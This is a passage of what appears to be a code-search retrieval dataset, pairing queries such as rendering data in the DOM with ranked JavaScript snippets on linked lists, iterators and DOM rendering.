document.write(\"<br>\");\n for (var i = 0; i < x.length; i++) {\n console.log(x[i] + \" \");\n document.write(x[i] + \" \");\n }\n }\n /**\n * pop function will return the first element of the list and remove\n */\n this.pop = function() {\n if (head == null)\n return null;\n else {\n var value = head.data;\n head = head.next;\n count--;\n return value;\n\n }\n }\n /**\n * remove function remove elements from the list\n */\n this.removeEnd = function() {\n var current = head;\n for (var i = 0; i < count - 1; i++) {\n current = current.next;\n }\n current.next = null;\n count--;\n }\n}", "title": "" }, { "docid": "041d052d2bb16c2ca7146de0aa93a181", "score": "0.5443511", "text": "get Streaming() {}", "title": "" }, { "docid": "a78c1f0b68232c639cf7d5c2ca2ea186", "score": "0.5441679", "text": "function SLQueue(){\n\tvar head = null;\n\tvar tail = null;\n}", "title": "" }, { "docid": "02e760e955a962c1f30bf94b42211597", "score": "0.5440026", "text": "function LinkedList2() {\n var head = null;\n var count = 0;\n\n this.getCount = function() {\n return count;\n }\n\n //AddFirst function add element at first position\n this.AddFirst = function(val) {\n var node = new Node(head, val);\n /*{\n data: val,\n next: head\n };*/\n head = node;\n\n count++;\n }\n\n /**\n * display the all elements in the list\n */\n this.DisplayAll = function() {\n if (head == null)\n console.log(\"empty list\")\n else {\n var current = head;\n var x = [];\n for (var i = 0; i < count; i++) {\n x[i] = current.data;\n current = current.next;\n }\n }\n document.write(\"<br>\");\n document.write(\"{\");\n for (var i = 0; i < x.length; i++) {\n console.log(x[i] + \" \");\n document.write(x[i] + \" \");\n }\n document.write(\"}\");\n }\n /**\n * getAll function returns the list as an array\n */\n this.getAll = function() {\n if (head == null)\n console.log(\"empty list\")\n else {\n var current = head;\n var x = [];\n for (var i = 0; i < count; i++) {\n x[i] = current.data;\n current = current.next;\n }\n }\n return x;\n }\n /**\n * AddAt function just add elements according to position index\n */\n this.AddAt = function(data, index) {\n\n if (index == 0) {\n this.AddFirst(data);\n } else if (index > -1 && index < count) {\n\n var node = new Node(null, data);\n /*{\n data: data,\n next: null\n };\n\n */\n var previous;\n var current = head;\n var i = 0;\n\n while (i++ < index) {\n previous = current;\n current = current.next;\n }\n\n previous.next = node;\n node.next = current;\n\n count++;\n } else {\n alert(\"out of range\");\n }\n }\n /**\n * pop function will return the first element of the list and remove\n */\n this.pop = function() {\n if (head == null)\n return null;\n else {\n var value = head.data;\n head = head.next;\n count--;\n return value;\n\n }\n }\n /**\n * search function search element in list and returns boolean true/false\n * based on found and not found\n */\n this.search = function(data) {\n var current = head;\n if (head == null)\n return false;\n else {\n for (var i = 0; i < count; i++) {\n if (current.data == data)\n return true;\n current = current.next;\n }\n return false;\n }\n }\n /**\n * positionSearch function search elements position and returns position\n */\n this.positionSearch = function(data) {\n var current = head;\n if (head == null)\n return -1;\n else {\n for (var i = 0; i < count; i++) {\n if (current.data == data)\n return i;\n current = current.next;\n }\n return -1;\n }\n }\n /**\n * remove function remove elements from the list\n */\n this.remove = function(data) {\n var current = head;\n var prev;\n var next;\n var pos = this.positionSearch(data);\n for (var i = 0; i < pos; i++) {\n prev = current;\n current = current.next;\n next = current.next;\n }\n prev.next = next;\n count--;\n }\n /**\n * removeEnd function remove element from the end\n */\n this.removeEnd = function() {\n var current = head;\n for (var i = 0; i < count - 1; i++) {\n current = current.next;\n }\n current.next = null;\n count--;\n }\n}", "title": "" }, { "docid": "1826677ed55fdd6fb742f574a2ac9075", "score": "0.5435208", "text": "function cycleList(ll) {\r\n let currNode = ll.head;\r\n // iterate through the list to check if currNode has next value pointing to an earlier node?\r\n}", "title": "" }, { "docid": "481b9ad639ae1ecd51fb7621a1d8059e", "score": "0.5434848", "text": "peek() {\n if (this.size === 0) {\n return; \n } else {\n // console.log(this.head.data)\n return this.head.data; \n }\n \n }", "title": "" }, { "docid": "14507cd7fca425407eaa7c672df2f9e1", "score": "0.5433171", "text": "function removeDupsNoBuffer(list){\n let current = list.head;\n let runner, prev;\n while (current){\n runner = current.next;\n prev = runner;\n while (runner){\n if (current.val !== runner.val) {\n prev = runner;\n } else {\n prev.next = runner.next;\n list.length--;\n }\n runner = runner.next\n }\n current = current.next\n }\n return list\n}", "title": "" }, { "docid": "6cf837a1310b56989b82af6355fc8fed", "score": "0.5432001", "text": "function printList(head)\n{\n let temp = head;\n if (head != null)\n {\n do\n {\n document.write(temp.data + \" \");\n temp = temp.next;\n }\n while (temp != head);\n }\n}", "title": "" }, { "docid": "9bbc5697eb2b3deaa501d5cbdf26319b", "score": "0.54235226", "text": "renderList(){\n return (this.props.streams.map(stream => {\n return(\n <div className='item' key={stream.id}>\n {/* calling renderAdmin function to whether show the administrative buttons or not */}\n {this.renderAdmin(stream.userId,stream.id)}\n <i className='large middle aligned icon camera'/>\n <div className='content'>\n {/* creating navigation allowing user to click on stream title to show that stream */}\n <Link to={`/streams/${stream.id}`} className='header'>{stream.title}</Link>\n <div className='description'>\n {stream.description}\n </div>\n </div>\n </div>\n )\n })\n )\n }", "title": "" }, { "docid": "a9b6242daff4c55225248e5a13dda1e8", "score": "0.54180604", "text": "function removeDuplicates(L1)\n{\n\tvar current = new Node;\n\tcurrent = L1.head\n\tconsole.log('current before while',current)\n\n\twhile(current.next!=null)\n\t{\n\t\tconsole.log('inside while')\n\t\tconsole.log('current',current)\n\t\tif (current.data == current.next.data)\n\t\t{\n\t\t\tcurrent.next = current.next.next\n\t\t\tL1._length--\n\t\t}\n\t\telse\n\t\t{\n\t\t\tcurrent = current.next\n\t\t}\n\t\t\n\t}\n\tconsole.log('L1',L1)\n\treturn L1\n}", "title": "" }, { "docid": "8274166821a3593ba93d57dc7cfff2f1", "score": "0.5415645", "text": "function display(SLL) {\n let currNode = SLL.head\n while(currNode !== null) {\n console.log(currNode.value)\n currNode = currNode.next\n }\n}", "title": "" }, { "docid": "b12bf1f6439311d5cc138b20e038de89", "score": "0.5414383", "text": "next()\n\t{\n\t\tvar output = this.node.data;\n\t\tthis.last = this.node;\n\t\tthis.node = this.node.next;\n\t\treturn output;\n\t}", "title": "" }, { "docid": "d9df35b5cac9f4267c79951ff38dcc6e", "score": "0.54092854", "text": "constructor(){\n this.head = null;\n this.size = 0;\n }", "title": "" }, { "docid": "6597178cc97dca23d4f4845155aafbeb", "score": "0.5407112", "text": "function Stream() {\n\t this.head = new Chunk(this);\n\t }", "title": "" }, { "docid": "4ed7c1a5cfb057a7ca902f2b76919bbf", "score": "0.54005456", "text": "function display(list){\n let currNode = list.head\n \n while (currNode !== null){\n currNode = currNode.next;\n console.log(currNode);\n }\n}", "title": "" }, { "docid": "14d80313c3c043ee596275cabf63ac5a", "score": "0.53995645", "text": "PrintData(){\n let current = this.head;\n while(current){\n console.log(current.data);\n current = current.next;\n }\n\n }", "title": "" }, { "docid": "630e6b2231fa69c7af4a2f5a7a1cabd7", "score": "0.53987545", "text": "function listMaker() {\n let SLL = new LinkedList()\n \n SLL.insertFirst(\"7\")\n SLL.insertLast(\"1\")\n SLL.insertLast(\"3\")\n SLL.insertLast(\"5\")\n SLL.insertLast(\"2\")\n\n // SLL.insertFirst(\"1\")\n // SLL.insertLast(\"2\")\n // SLL.insertLast(\"3\")\n // SLL.insertLast(\"5\")\n // SLL.insertLast(\"7\")\n\n\n return SLL\n \n}", "title": "" }, { "docid": "bc67996c8d23645d8b03797f23da3047", "score": "0.5397918", "text": "[ITERATOR] () {\n const next = () => {\n const value = this.read()\n const done = value === null\n return { value, done }\n }\n return { next }\n }", "title": "" }, { "docid": "bc67996c8d23645d8b03797f23da3047", "score": "0.5397918", "text": "[ITERATOR] () {\n const next = () => {\n const value = this.read()\n const done = value === null\n return { value, done }\n }\n return { next }\n }", "title": "" }, { "docid": "bc67996c8d23645d8b03797f23da3047", "score": "0.5397918", "text": "[ITERATOR] () {\n const next = () => {\n const value = this.read()\n const done = value === null\n return { value, done }\n }\n return { next }\n }", "title": "" }, { "docid": "bc67996c8d23645d8b03797f23da3047", "score": "0.5397918", "text": "[ITERATOR] () {\n const next = () => {\n const value = this.read()\n const done = value === null\n return { value, done }\n }\n return { next }\n }", "title": "" }, { "docid": "bc67996c8d23645d8b03797f23da3047", "score": "0.5397918", "text": "[ITERATOR] () {\n const next = () => {\n const value = this.read()\n const done = value === null\n return { value, done }\n }\n return { next }\n }", "title": "" }, { "docid": "bc67996c8d23645d8b03797f23da3047", "score": "0.5397918", "text": "[ITERATOR] () {\n const next = () => {\n const value = this.read()\n const done = value === null\n return { value, done }\n }\n return { next }\n }", "title": "" }, { "docid": "c507afd214ccb1025e40c5f02190168c", "score": "0.5396615", "text": "constructor() {\n this.head = null\n this.tail = null\n }", "title": "" }, { "docid": "235130fefc0f0d78bdf0f3f7a4d6055f", "score": "0.5394215", "text": "removeDups() {\n let currentNode = this.head;\n let nextNode = currentNode.next;\n const node = {};\n node[currentNode.data] = true;\n\n if (!this.head) return null;\n\n while (nextNode) {\n const data = nextNode.data;\n\n if (node[data]) {\n currentNode.next = nextNode.next;\n this.length--;\n } else {\n node[data] = true;\n currentNode = nextNode;\n }\n\n nextNode = nextNode.next;\n }\n }", "title": "" }, { "docid": "062bddebd94084d0f6f59f7e23a011ee", "score": "0.53936213", "text": "function SinglyLinkedList() {\n\tthis.length = 0; \n\tthis.head = null; \n}", "title": "" }, { "docid": "53047cfde76dda52ec181d9706779a95", "score": "0.5389002", "text": "function SinglyLinkedList() {\n this.head = null;\n this.length = 0;\n}", "title": "" }, { "docid": "4b0b853554c42fe1e6500d1cdeba1c16", "score": "0.5382627", "text": "constructor(){ \n this.head = null;\n this.length = 0;\n }", "title": "" }, { "docid": "952bee494f2160ed3b6ff86dccabb9e5", "score": "0.53808963", "text": "function SinglyList() {\n this._length = 0;\n this.head = null;\n}", "title": "" }, { "docid": "e30439f102270b39cf174acb3f18bfc3", "score": "0.5367279", "text": "constructor() {\n this.head = null;\n this.length = 0;\n }", "title": "" }, { "docid": "28299b0c3275d31c42cc73a5f1001d25", "score": "0.5363762", "text": "constructor() {\n this.head = null;\n this.tail = null;\n }", "title": "" }, { "docid": "28299b0c3275d31c42cc73a5f1001d25", "score": "0.5363762", "text": "constructor() {\n this.head = null;\n this.tail = null;\n }", "title": "" }, { "docid": "28299b0c3275d31c42cc73a5f1001d25", "score": "0.5363762", "text": "constructor() {\n this.head = null;\n this.tail = null;\n }", "title": "" }, { "docid": "28299b0c3275d31c42cc73a5f1001d25", "score": "0.5363762", "text": "constructor() {\n this.head = null;\n this.tail = null;\n }", "title": "" }, { "docid": "241db435ccf3b3077862a28f2947e289", "score": "0.5361995", "text": "printList() {\n // Start at the head\n let currentNode = this.headNode;\n\n while (currentNode.next !== null) {\n console.log(currentNode.data);\n currentNode = currentNode.next;\n }\n }", "title": "" }, { "docid": "0b8b762e26801f98c1a8f586e0bf113b", "score": "0.53577715", "text": "function cycleList(ll) {\n let currNode = ll.head;\n // iterate through the list to check if currNode has next value pointing to an earlier node?\n}", "title": "" }, { "docid": "0eec7b170ba49a64b79fce2da0078154", "score": "0.535483", "text": "constructor() {\n this.head = null;\n this.tail = null;\n }", "title": "" }, { "docid": "896ca8980416a89d90d37c4073123c60", "score": "0.5351723", "text": "constructor(value) {\n this.list = {};\n this.list.head = {\n value: value,\n next: null\n };\n this.list.tail = this.list.head;\n }", "title": "" }, { "docid": "409ca6a9ab5112b43a24006027a31950", "score": "0.5350545", "text": "constructor() {\n\t\tthis.tail = null;\n\t\tthis.head = null;\n\t\tthis.length = 0;\n\t}", "title": "" }, { "docid": "734ce7058ec1dd5587ef28d904869117", "score": "0.5337516", "text": "function WhatDoesThisProgramDo(lst){\n let current = lst.head;\n while(current !== null){\n let newNode = current;\n while (newNode.next !== null) {\n if (newNode.next.value === current.value) {\n newNode.next = newNode.next.next;\n }\n else{\n newNode = newNode.next;\n }\n }\n current = current.next;\n }\n}", "title": "" }, { "docid": "734ce7058ec1dd5587ef28d904869117", "score": "0.5337516", "text": "function WhatDoesThisProgramDo(lst){\n let current = lst.head;\n while(current !== null){\n let newNode = current;\n while (newNode.next !== null) {\n if (newNode.next.value === current.value) {\n newNode.next = newNode.next.next;\n }\n else{\n newNode = newNode.next;\n }\n }\n current = current.next;\n }\n}", "title": "" }, { "docid": "ebf9168fc8a5f7939dd01f6a1679ccaa", "score": "0.53368175", "text": "function ListNode(data){\n this.data = data;\n this.next = null;\n}", "title": "" }, { "docid": "4f3cfdca345d1c10ce282e70e89783f4", "score": "0.53357106", "text": "getNext() {\n return this.next || null;\n }", "title": "" }, { "docid": "6971f3a6ddbce1683cb4985889c83a26", "score": "0.53321666", "text": "displayListForward() {\n if (!this.isListEmpty()) {\n console.log('No. of nodes in the List are: ', this.getNodeCount() , '\\n');\n process.stdout.write('List is: Head -> ');\n for (let current = this.head; current != null; current = current.next) {\n process.stdout.write(`${current.data} -> `);\n }\n process.stdout.write(\" null \");\n } else {\n console.log('List is empty !!');\n }\n }", "title": "" }, { "docid": "bc779ff8dbfc55a2ec93f78e292e2cc4", "score": "0.53250515", "text": "next() {\n\n /**\n * Create a new collection with next element siblings and only return to us elements which are not null\n */\n return this\n .map(e => e.nextElementSibling)\n .filter(e => e != null)\n }", "title": "" }, { "docid": "9e93c0cb03d59fa62035c0d8f35b8b4d", "score": "0.53234285", "text": "printList() {\n var ll = \"┌-=>\";\n\n if (this.last == null) {\n console.log(`Linked list is empty`);\n } else {\n let current = this.last.next;\n while (current != this.last) {\n ll = `${ll} ${current.value} =>`;\n current = current.next;\n }\n if (current == this.last) {\n ll = `${ll} ${current.value} =>-┐\\n|`;\n }\n var l_length = ll.length - 4;\n for (let i = 0; i < l_length; i++) {\n ll = `${ll}_`;\n ll = i == l_length - 1 ? `${ll}|` : `${ll}`;\n }\n console.log(`${ll}\\nSize: ${this.size}`);\n }\n }", "title": "" }, { "docid": "046eee7df58ee60b910a8302be1808ce", "score": "0.53232783", "text": "function appendStreams(stream) {\n const streams = stream.streams.forEach((stream) => {\n const element = document.createElement('div');\n const content = template\n .replace('$preview', stream.preview.large)\n .replace('$logo', stream.channel.logo)\n .replace('$topic', stream.channel.status)\n .replace('$name', stream.channel.name);\n element.classList.add('top-stream__block');\n element.innerHTML = content;\n document.querySelector('.top-stream__list').appendChild(element);\n });\n}", "title": "" }, { "docid": "9406a50722112e4d32f65048e11e2ed4", "score": "0.53199285", "text": "printList() \n { \n var curr = this.head; \n var str = \"\"; \n while (curr) { \n str += curr.element + \" \"; \n curr = curr.next; \n } \n console.log(str); \n }", "title": "" }, { "docid": "626666f3c497fa6ca4480e194a2530d9", "score": "0.53147906", "text": "function WhatDoesThisProgramDo(lst) {\n let current = lst.head;\n while (current !== null) {\n let newNode = current;\n while (newNode.next !== null) {\n if (newNode.next.value === current.value) {\n newNode.next = newNode.next.next;\n }\n else {\n newNode = newNode.next;\n }\n }\n current = current.next;\n }\n}", "title": "" }, { "docid": "1e502c9711e18c9c8939f1df6183f456", "score": "0.5314498", "text": "function DoublyLinkedlist() {\n\tthis.start = null;\n\tthis.end = null;\n\tthis.size = 0;\n}", "title": "" } ]
dbe193a195def133cf6583e43548e438
Rendering Data in the DOM
[ { "docid": "b5593dd470042da478f6ff17730ff561", "score": "0.0", "text": "function renderItems(items) {\n items.forEach((item) => {\n let doc = document.createElement(\"div\");\n doc.classList.add(\"product-details\", \"my-4\")\n doc.innerHTML = `\n <div class=\"product-details my-4\">\n <!-- PRODUCT IMAGE -->\n <div class=\"product-image w-48 h-52 bg-white rounded-lg \n flex items-center justify-center\">\n <img src=\"${item.image}\" \n class=\"p-4\" alt=\"\">\n </div>\n <!-- PRODUCT NAME -->\n <div class=\"product-name text-gray-700 font-bold mt-2 text-sm\">\n ${item.name}\n </div>\n <!-- PRODUCT BRAND -->\n <div class=\"product-brand text-green-700 font-bold\">\n ${item.brand}\n </div>\n <!-- PRODUCT RATING -->\n <div class=\"product-rating text-yellow-300 my-1\">\n ⭐⭐⭐⭐${item.rating}\n </div>\n <!-- PRODUCT PRICE -->\n <div class=\"product-price font-bold text-gray-700 text-lg\">\n ${numeral(item.price).format('$0,0.00')}\n </div>\n </div>\n `\n let addToCartEl = document.createElement('div');\n addToCartEl.classList.add('add-to-cart-btn', 'flex', 'justify-center', 'items-center', 'text-gray-100', \n 'font-bold', 'h-8', 'w-40', 'bg-yellow-500', 'rounded', 'mt-1', 'hover:bg-yellow-600');\n addToCartEl.textContent = \"Add to Cart\";\n addToCartEl.addEventListener('click', () => {\n addToCart(item);\n })\n doc.append(addToCartEl);\n mainProductEl.append(doc);\n });\n}", "title": "" } ]
[ { "docid": "5219e545049348372d38156de8272c59", "score": "0.76472455", "text": "display(data) {\n this.prepareData(data);\n this.generateHTML();\n this.initEvents();\n }", "title": "" }, { "docid": "c398208d2e0034dc7cfc1c75279635e8", "score": "0.7590977", "text": "render(data) {\n // temporary solution -> if data is not array put it inside the array!\n // if (data === undefined) {\n // this._clear();\n // return;\n // }\n\n this._data = Array.isArray(data) ? data : [data];\n\n // rendering the episodes on the main page\n\n const markup = this._generateMarkup().join(\"\");\n\n this._clear();\n this._parentElement.insertAdjacentHTML(\"afterbegin\", markup);\n }", "title": "" }, { "docid": "22998dfcddfc95314735532845aef2aa", "score": "0.7423136", "text": "renderData() {\n if (!this._scoreboardTableBodyRoot) {\n return;\n }\n const data = {'data' : this._data};\n this._scoreboardTableBodyRoot.innerHTML = scoreboardTbodyTemplate(data);\n }", "title": "" }, { "docid": "162523bfd1fa01ccf8a393f37a071dab", "score": "0.7362939", "text": "render(data) {\n if (!data || (Array.isArray(data) && data.length === 0))\n return this.renderError();\n this._data = data;\n const markup = this._generateMarkup();\n //clear the html\n this._clear();\n //insert the markup\n this._searchElement.insertAdjacentHTML('afterbegin', markup);\n }", "title": "" }, { "docid": "3c541091e73b7097c2b37db2c107cb48", "score": "0.72038716", "text": "function renderCurrentData(data) {\n myData = data;\n buildHtml()\n}", "title": "" }, { "docid": "07dc4064d9b417a12582cbd2a0a02193", "score": "0.71065646", "text": "function render() {\n var div = document.createElement('div');\n\n div.innerHTML = this.template(this.data);\n this._element = div.firstChild;\n}", "title": "" }, { "docid": "0133490b0a19758a6abf7dc989d0a8d3", "score": "0.7105082", "text": "function render() {\n $title.val(data.title);\n $.map(data.ingredients, function(ingredient){\n var rendered = render_ingredient_view(ingredient);\n $ingredients.append(rendered);\n });\n updateTotalBar();\n }", "title": "" }, { "docid": "134398662b35b4d289a1c7775c7856c8", "score": "0.7053893", "text": "render (data) {\n this.data = data\n this.renderAxis(data)\n this.renderBars(data)\n }", "title": "" }, { "docid": "91676a893d7e063d0c22d83d501a51d6", "score": "0.70425546", "text": "render() {\n if (!this._data) {\n return;\n }\n this._el.innerHTML = scoreboardTableTemplate();\n this._scoreboardTableBodyRoot = this._el.querySelector('.js-scoreboard-tbody');\n this.renderData();\n }", "title": "" }, { "docid": "d34b8b2d4e62647ad3977bdeedeba2ab", "score": "0.6937665", "text": "function render(data){\n\tconsole.log(data);\n\t// console.log(data.data[1].images.original.url);\n\t// for (var i = 0; i < data.data.length; i++){\n\t\t// labelSpan.innerText = data.data[1].images.original.url;\n\t//}\n\n\t// nameSpan.innerText = data.Markets[0].Name;\n\t// priceSpan.innerText = data.Markets[0].Price_usd;\n\t// volumeSpan.innerText = data.Markets[0].Volume_24h;\n}", "title": "" }, { "docid": "7e3298c18b2e60dad9c46c23a4ed99f1", "score": "0.69084716", "text": "function renderData( e, data ) {\n\t\t\t$view.empty();\n\t\t\t$view.append( $itemTmpl.applyTemplate( data ) );\n\t\t}", "title": "" }, { "docid": "4ac94fac5b8fc99efefcd1758a43ee5d", "score": "0.68893975", "text": "function render(data) {\n\n // Location requested\n $(\"#location\").text(data.name + \", \" + data.sys.country);\n\n // Icont for the weather\n $(\"#icon\").html('<img src=\"' + \"https://openweathermap.org/img/w/\" + data.weather[0].icon + \".png\" + '\" class=\".wIcon\" alt=\"w-icon\">');\n\n // Temperature\n $(\"#temp\").text(Math.round(data.main.temp));\n\n // Cloudy/Sunny/etc\n $(\"#mainWeather\").text(data.weather[0].main);\n\n // Maximas and Minimas for the temperature\n $(\"#tempMax\").text(data.main.temp_max);\n\n // Display date info\n $(\"#day\").text(dayOfWeek());\n $(\"#time\").text(currentTime());\n $(\"#descWeather\").text(data.weather[0].description);\n $(\"#wind\").text(\"Wind: \" + data.wind.speed);\n $(\"#humidity\").text(\"Humidity: \" + data.main.humidity + \"%\");\n}", "title": "" }, { "docid": "f657d6a4697aa3346c17db477c82b3dd", "score": "0.6872723", "text": "function render(data) {\n let root = document.createElement(\"div\");\n data.lines.forEach(function (line, lineIdx) {\n let el = renderLine(line, lineIdx);\n root.appendChild(el);\n });\n // data.forEach(function (word) {\n // let el = renderWord(word);\n // root.appendChild(el);\n // root.appendChild(document.createTextNode(\" \"));\n // });\n document.querySelector(\"#app\").appendChild(root);\n}", "title": "" }, { "docid": "5eec60e96340c6f804f331e5f9927d78", "score": "0.68313015", "text": "render() {\n }", "title": "" }, { "docid": "f6dab8771f2179f2f5813cea122ddbd7", "score": "0.68292624", "text": "function renderRawData() {\n var template = $(\"#fishResultsRawDataTemplate\").html();\n var html = Mustache.render(template, fishResultsArray);\n $('#fishResultsRawData').html(html);\n }", "title": "" }, { "docid": "aa2bfec654b157b7d62402829427802e", "score": "0.6817867", "text": "function render() {\n limit = limit < data.length ? limit : data.length;\n // enable page-navigation buttons if data exceeds n_elem\n if (data.length > n_elem) {\n document.querySelector(\".nav\").style.display = \"flex\";\n } else {\n document.querySelector(\".nav\").style.display = \"none\";\n }\n\n // find User result\n getLocalUser();\n your_res = data.filter(obj => obj.Rollno == you_obj_res.Rollno)[0];\n if (your_res) {\n you.innerHTML = \"\";\n you.appendChild(create(your_res));\n } else {\n you.innerHTML = \"<span id ='rem'>You are not Here..!</span>\";\n }\n\n // Render the divs\n let i = 0;\n for (const stud of data) {\n renderSmooth(stud, i, 20);\n i++;\n if (i > limit) break;\n }\n}", "title": "" }, { "docid": "cd4956edd3e50f29f2d717d991052ae5", "score": "0.68114376", "text": "Render() {}", "title": "" }, { "docid": "5360e78c06bbea23f65bba22717fb1ba", "score": "0.68110436", "text": "render(data) {\n data = data || (this.record && this.record.summarize());\n const vdom = this.preprocess(this.compose(data), data);\n\n if (vdom === undefined) {\n // If the developer accidentally forgets to return the VDOM value from\n // compose, instead of leading to a cryptic DOM API error, show a more\n // friendly warning.\n throw new Error(this.constructor.name + \".compose() returned undefined.\");\n }\n\n try {\n this.node = render(this.node, this.vdom, vdom);\n } catch (e) {\n console.error(\"rendering error.\", e);\n }\n\n return (this.vdom = vdom);\n }", "title": "" }, { "docid": "d9f2af659c81ec599ad5b68327c69c48", "score": "0.6784202", "text": "function renderData(res) {\n $(\".js-word-count\").text(res[\"wordCount\"]);\n $(\".js-unique-word-count\").text(res[\"uniqueCount\"]);\n $(\".js-average-word-length\").text(res[\"avgWordLength\"]);\n $(\".js-top-word\").text(\"The word '\"+res[\"topWord\"][0]+\"' appears \"+res[\"topWord\"][1]+\" times\");\n $(\".js-text-report\").removeClass(\"hidden\");\n}", "title": "" }, { "docid": "32ac13d21d8086c89c8444285e35ff26", "score": "0.67585796", "text": "renderContent() { }", "title": "" }, { "docid": "1c2491fdec216dd4d1f4b0f2da66a781", "score": "0.6724235", "text": "function renderHTML(data){\n\t\tvar peopleArray = data.complete;\n\t\tfor(i = 0; i < peopleArray.length; i++){\n\t\t\t\n\t\t\tvar htmlString = \"<p>\" + peopleArray[i].firstName + \", \" + peopleArray[i].lastName +\", \" +\n\t\t\t\n\t\t\tpeopleArray[i].innovation + \", \" + peopleArray[i].year + \"</p>\";\n\t\t\tapiContainer.insertAdjacentHTML(\"beforeend\", htmlString);\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "273a5cbdb7b682aef774bb2fb5d37f3d", "score": "0.6711077", "text": "function showData() {\n\n //variable untuk menampung data yang bisa memanipulasi objek\n var elements = \"\";\n\n //membuat kondisi untuk menampilkan gambar jika datanya kosong/belum diinput\n if (customer.length < 1) {\n elements += `<div class=\"image\"><img src=\"image1.svg\" alt=\"default\"></div>`;\n } else {\n\n //menampilkan perulangan data customer yang telah diinput\n for (var data of customer){\n\n //memanggil method dari customer\n elements += data.renderData();\n }\n\n }\n\n //menempatkan data didalam element html\n getResult.innerHTML = elements;\n}", "title": "" }, { "docid": "a746b6614f7a3f57e0d3f7725587739b", "score": "0.66491765", "text": "function render(data) {\r\n // seleziona il template da utilizzare\r\n var source = $(\"#elm-template\").html();\r\n // compila il template selezionato con Handlebars\r\n var template = Handlebars.compile(source);\r\n // ciclo che manipola il context per ogni elemento di data da stampare\r\n for (var i = 0; i < data.length; i++) {\r\n var liBckColor;\r\n if (i % 2 > 0) {\r\n // dispari\r\n liBckColor = \"color1\"\r\n } else {\r\n // pari\r\n liBckColor = \"color2\"\r\n }\r\n var context = {\r\n \"id\": data[i].id,\r\n \"text\": data[i].text,\r\n \"bck-color\": liBckColor\r\n };\r\n // compila il template con il context manipolato\r\n var html = template(context);\r\n // inietta il codice Html manipolato nel DOM\r\n $(\"#to-do-list\").append(html);\r\n }\r\n}", "title": "" }, { "docid": "a912ee449cbb2d43ec0115cfd73cec2f", "score": "0.6637796", "text": "function render(){\n resetData();\n myLibary.forEach((array, index) =>{\n data.appendChild(createTableData(array, index));\n });\n}", "title": "" }, { "docid": "a928ae62e0a697aa814e7801a2fa5215", "score": "0.66274995", "text": "function render() {}", "title": "" }, { "docid": "a928ae62e0a697aa814e7801a2fa5215", "score": "0.66274995", "text": "function render() {}", "title": "" }, { "docid": "a18a649647b132fd2d061e0f237bda50", "score": "0.6624071", "text": "function render(data) {\n var $template = _.template($('#testTemp').html());\n var $wrapper = $('#testimonialsAjax');\n var $objects = data.testimonials;\n var $fragment = $(document.createDocumentFragment());\n\n $objects.forEach(function(element) {\n $fragment.append($template({\n id: element.id,\n content: element.quote,\n author: element.author,\n imgSrc: element.imgSrc\n }));\n });\n\n $wrapper.append($fragment);\n }", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.6614006", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.6614006", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.6614006", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.6614006", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.6614006", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.6614006", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.6614006", "text": "render() {}", "title": "" }, { "docid": "52a3157dccc8fb8d993576cc5df0cf6d", "score": "0.6614006", "text": "render() {}", "title": "" }, { "docid": "8f4ca3107ba2ec4a561e00f471aeaaad", "score": "0.66056865", "text": "function render(data) {\n var html = data.map((elem, index) => {\n return (`<div>\n <strong>${elem.author}</strong>\n <em>${elem.text}</em>\n </div>\n `);\n }).join(\" \");\n\n // inyecta el html en el elemento con id messages\n document.getElementById(\"messages\").innerHTML = html;\n}", "title": "" }, { "docid": "ce93e60513953e9b5e1a6bc4d9606a7f", "score": "0.6595033", "text": "function render() {\n // TODO\n}", "title": "" }, { "docid": "29d544b75fd4203df88e3e4655cb814e", "score": "0.6592526", "text": "function render(){\n\t\tguessList.html(guessHtml);\n\t\tcountElement.html(count);\n\t\tfeedback.html(userFeedback);\n\t}", "title": "" }, { "docid": "3d1f587c66c40fde5be166892c180568", "score": "0.6585822", "text": "function renderBeverage(data){\n console.log(data)\n let html = '';\n data.data.forEach(beverage=>{\n html += `<p>${beverage.name}</p><img src=\"${beverage.image}\">`\n })\n\n document.getElementById('root').innerHTML = html;\n}", "title": "" }, { "docid": "c5f3ce57c4caedb8f7fbcfb1ee4d2406", "score": "0.6585687", "text": "function render() {\r\n\r\n isRendered = true;\r\n\r\n renderSource();\r\n\r\n }", "title": "" }, { "docid": "7ffd80beccc143fb791f342f421f1546", "score": "0.657603", "text": "function render()\n {\n app.setUpLocalData(['freeWrite']);\n buildHTML(app.localData);\n $('textarea').palette({\n language : 'spanish',\n containment : '#question_container'\n });\n \n// // Corrects the IE8 behavior of scrolling to an incorrect line\n// $('textarea').focus(function()\n// {\n// $(this).scrollTop($(this)[0].scrollHeight - $(this).height());\n// });\n \n // Ungate and hide controls since the instructor isn't going to re-record\n if (app.instructorIsViewing() === true)\n {\n $('div.record_container').hide();\n $('div.nimbb_subcontrols_wrapper').hide();\n app.getTest().ungateThisTest();\n }\n }", "title": "" }, { "docid": "6090838e18df3cb88880a80f0e617130", "score": "0.6565604", "text": "function renderHTML(data){\n for(i = 0; i < data.length; i++) {\n document.querySelector('#title').value = data[i].postheader;\n document.querySelector('#location').value = data[i].postlocation;\n document.querySelector('#transport').option = data[i].transport;\n document.querySelector('#description').value = data[i].postbody;\n if(document.querySelector('#updateImage')) {\n document.querySelector('#edit-img').src = \"uploads/\"+ data[i].postimage;\n }else{\n document.querySelector('#edit-img').style.visibility = 'none';\n }\n }\n }", "title": "" }, { "docid": "48c706dc8d0c2f5f9c32b4d5526a9885", "score": "0.6538263", "text": "function render(data){\n\t //data va ser recorrido con la funcion: map, donde solamente utilizamos el elem\n\tvar html = data.map(function(elem, index){\n\t\t // Utilizamos string features `` in ECMAScript 6: Nos permite extrapolar variables dentro del String\n\t\t // tambien nos permite utilizar comillas simples y dobles\n //em es cursiva\n return(`<div>\n <img src=\"${elem.image_usua}\" style=\"height: 15px; width: 15px\" />\n <strong>${elem.author}</strong>: \n <em>${elem.text}</em>\n\t </div>`);\n //con el metodo .join unimos los arrays con espacios\n\t}).join(\" \");\n\t 